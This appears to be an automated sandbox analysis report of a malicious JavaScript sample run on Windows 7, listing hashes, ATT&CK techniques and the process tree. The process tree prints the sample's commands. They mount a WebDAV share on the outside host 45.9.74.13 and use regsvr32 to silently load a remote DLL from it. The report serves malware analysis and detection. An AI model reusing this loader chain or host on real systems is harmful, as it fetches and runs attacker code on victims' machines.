0b83da13ccf53341792db8deec36c9af70154a0caaab8062d64a3fa8c22b9fb6

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 06:17

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General

Target

4860312552222814311.js
Size

5KB
MD5

08d79ad15bc6fc6848a70f25a28eb7a0
SHA1

fa447ac9b1f8400c0d7fbaba97e5a79405c9426f
SHA256

0b83da13ccf53341792db8deec36c9af70154a0caaab8062d64a3fa8c22b9fb6
SHA512

8fdf7a8f536d765ce994e6df07b93a9b073c3bdf903e20588608d6a3114286fa185937db9da55b6d1d894ff0f7140549e9443b2c697153fc67bc70ffc9e76066
SSDEEP

96:xomU+mw9fwvcm0dy3wLxdy330pd53QpDvhnLekyzLpd++LekuLZHo2p/rk12p/e:RowCMdy34xdy33QSpdqkypd0kezrkKe

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2768	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 2964	2560	wscript.exe	30
PID 2560 wrote to memory of 2964	2560	wscript.exe	30
PID 2560 wrote to memory of 2964	2560	wscript.exe	30
PID 2964 wrote to memory of 2708	2964	cmd.exe	32
PID 2964 wrote to memory of 2708	2964	cmd.exe	32
PID 2964 wrote to memory of 2708	2964	cmd.exe	32
PID 2964 wrote to memory of 2768	2964	cmd.exe	33
PID 2964 wrote to memory of 2768	2964	cmd.exe	33
PID 2964 wrote to memory of 2768	2964	cmd.exe	33
PID 2964 wrote to memory of 2768	2964	cmd.exe	33
PID 2964 wrote to memory of 2768	2964	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4860312552222814311.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\4860312552222814311.js" "C:\Users\Admin\\ovwexs.bat" && "C:\Users\Admin\\ovwexs.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2708
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\68.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\ovwexs.bat

Filesize
5KB

MD5
08d79ad15bc6fc6848a70f25a28eb7a0

SHA1
fa447ac9b1f8400c0d7fbaba97e5a79405c9426f

SHA256
0b83da13ccf53341792db8deec36c9af70154a0caaab8062d64a3fa8c22b9fb6

SHA512
8fdf7a8f536d765ce994e6df07b93a9b073c3bdf903e20588608d6a3114286fa185937db9da55b6d1d894ff0f7140549e9443b2c697153fc67bc70ffc9e76066

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